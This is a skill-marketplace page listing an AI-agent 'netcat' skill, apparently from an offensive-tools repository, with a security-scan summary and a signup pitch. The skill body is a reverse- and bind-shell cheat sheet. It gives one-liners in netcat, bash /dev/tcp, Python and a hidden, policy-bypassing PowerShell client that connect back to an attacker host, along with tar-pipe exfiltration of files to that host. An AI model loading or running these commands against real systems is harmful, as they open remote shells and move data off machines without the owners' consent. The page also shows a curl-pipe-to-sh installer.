Pular para o conteúdo
Novo

DeepSeek V4.1 Flash grátis por 7 dias: 10M tokens por dia após recarga de $10 ou mais. Até 30/11.

Como funciona
aeondave/netcatRede, wireless e telecom

netcat

⁨Auth/lab ref: Netcat (nc/ncat): TCP/UDP Swiss Army knife for callback-shell lab, bind-shell lab, port checks, banner grabbing, file transfer, port forwarding, and listener setup.⁩

v2026.11.13-21cd5683 instalações+3 em 7 dias39 EstrelasGPL-2.0sincronizado há 10 horas

Instalar

Ainda não tem a CLI da NotHoly? Instale primeiro.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/netcat

Grava em ⁦~/.notholy/skills⁩ depois de conferir a assinatura e o SHA-256.

AssinaturaAssinado, ed25519
tRHiW32FFw…xseJuSCA==A CLI confere o SHA-256 e a assinatura antes de gravar qualquer arquivo.
Pacoteb8b07d29…d6fd1270
b8b07d29f9d9…fbf8d6fd12702 arquivos · ⁦3.1 KB⁩
VarreduraMédio4 achados
  • command.pipe_to_shellSKILL.md:63
  • command.pipe_to_shellreferences/shells.md:88
  • command.pipe_to_shellreferences/shells.md:91
Ver a varredura completa
Fontegithub.com/AeonDave/malskill/tree/main/offensive-tools/network/netcat@21cd568

Este item ainda não foi escrito no seu idioma, então aparece em English.

TCP/UDP utility — shells, file transfer, port probing, port forwarding.

Quick Start

bash
# Listener (catch reverse shell)
nc -lvnp 4444

# Connect to port (test connectivity / banner grab)
nc -nv 10.10.10.10 80

# Reverse shell (from target)
nc -e /bin/bash <attacker_ip> 4444

Core Flags

Flag Purpose
-l Listen mode
-v Verbose
-n No DNS resolution
-p <port> Local port
-e <cmd> Execute command on connect
-u UDP mode
-w <sec> Timeout
-z Zero I/O mode (port scan)
-k Keep listening after client disconnects (ncat)
--ssl SSL/TLS (ncat only)

Reverse Shells

bash
# From Linux target (nc with -e)
nc -e /bin/bash <attacker> 4444

# From Linux target (nc without -e / busybox)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> 4444 > /tmp/f

# From Windows target (ncat)
ncat -e cmd.exe <attacker> 4444
ncat -e powershell.exe <attacker> 4444

# Bash (no nc needed)
bash -i >& /dev/tcp/<attacker>/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<attacker>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('<attacker>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Bind Shell (target listens, attacker connects)

bash
# Target listens
nc -lvnp 4444 -e /bin/bash          # Linux
ncat -lvnp 4444 -e cmd.exe          # Windows

# Attacker connects
nc -nv <target_ip> 4444
bash
# Banner grab
nc -nv 10.10.10.10 22
nc -nv 10.10.10.10 80

# Send HTTP request
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc -nv 10.10.10.10 80

# Quick port check (z flag)
nc -z -nv 10.10.10.10 22
nc -z -nv 10.10.10.10 1-1000      # port scan (slow; use nmap instead)

File Transfer

bash
# Receiver (attacker)
nc -lvnp 9999 > received_file

# Sender (target)
nc -nv <attacker> 9999 < file_to_send

# Directory (tar pipe)
# Receiver
nc -lvnp 9999 | tar xvf -

# Sender
tar cvf - /path/to/dir | nc -nv <attacker> 9999

Port Forwarding (ncat)

bash
# Forward local 8080 → remote 80
ncat -lvnp 8080 --sh-exec "ncat 10.10.10.10 80"

# Relay (ncat broker)
ncat -lvnp 4444 --broker

Shell Upgrade (after catching nc shell)

bash
# On target (in nc shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background: Ctrl+Z
stty raw -echo; fg

# Set terminal size
export TERM=xterm
stty rows 40 cols 160

Resources

File When to load
references/shells.md Full reverse shell one-liners for all languages, shell upgrade steps, Windows shells

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosSimSim
Grava arquivosSimSim
Roda comandos no shellSimSim
Usa a redeSimSim
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

  1. MédiaComando · command.pipe_to_shellSKILL.md:63
  2. MédiaComando · command.pipe_to_shellreferences/shells.md:88
  3. MédiaComando · command.pipe_to_shellreferences/shells.md:91
  4. InfoLink · Links para domínios externos

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v2026.11.13-21cd56813 de nov. de 202621cd568b8b07d29Assinada–

Pergunte tudo o que o seu escopo permite.

Crie a conta, adicione créditos e faça a primeira pergunta no chat ou no terminal.

  1. 1/3

    Crie a conta

    Individual ou empresa. Dá para virar empresa depois sem perder saldo nem chaves.

    Pessoa físicaEmpresa
  2. 2/3

    Adicione créditos

    No cartão. Você paga por token, sem assinatura.

    $5.00recarga mínima
  3. 3/3

    Pergunte

    No chat, ou instale o CLI e rode notholy login no terminal.

    $ notholy login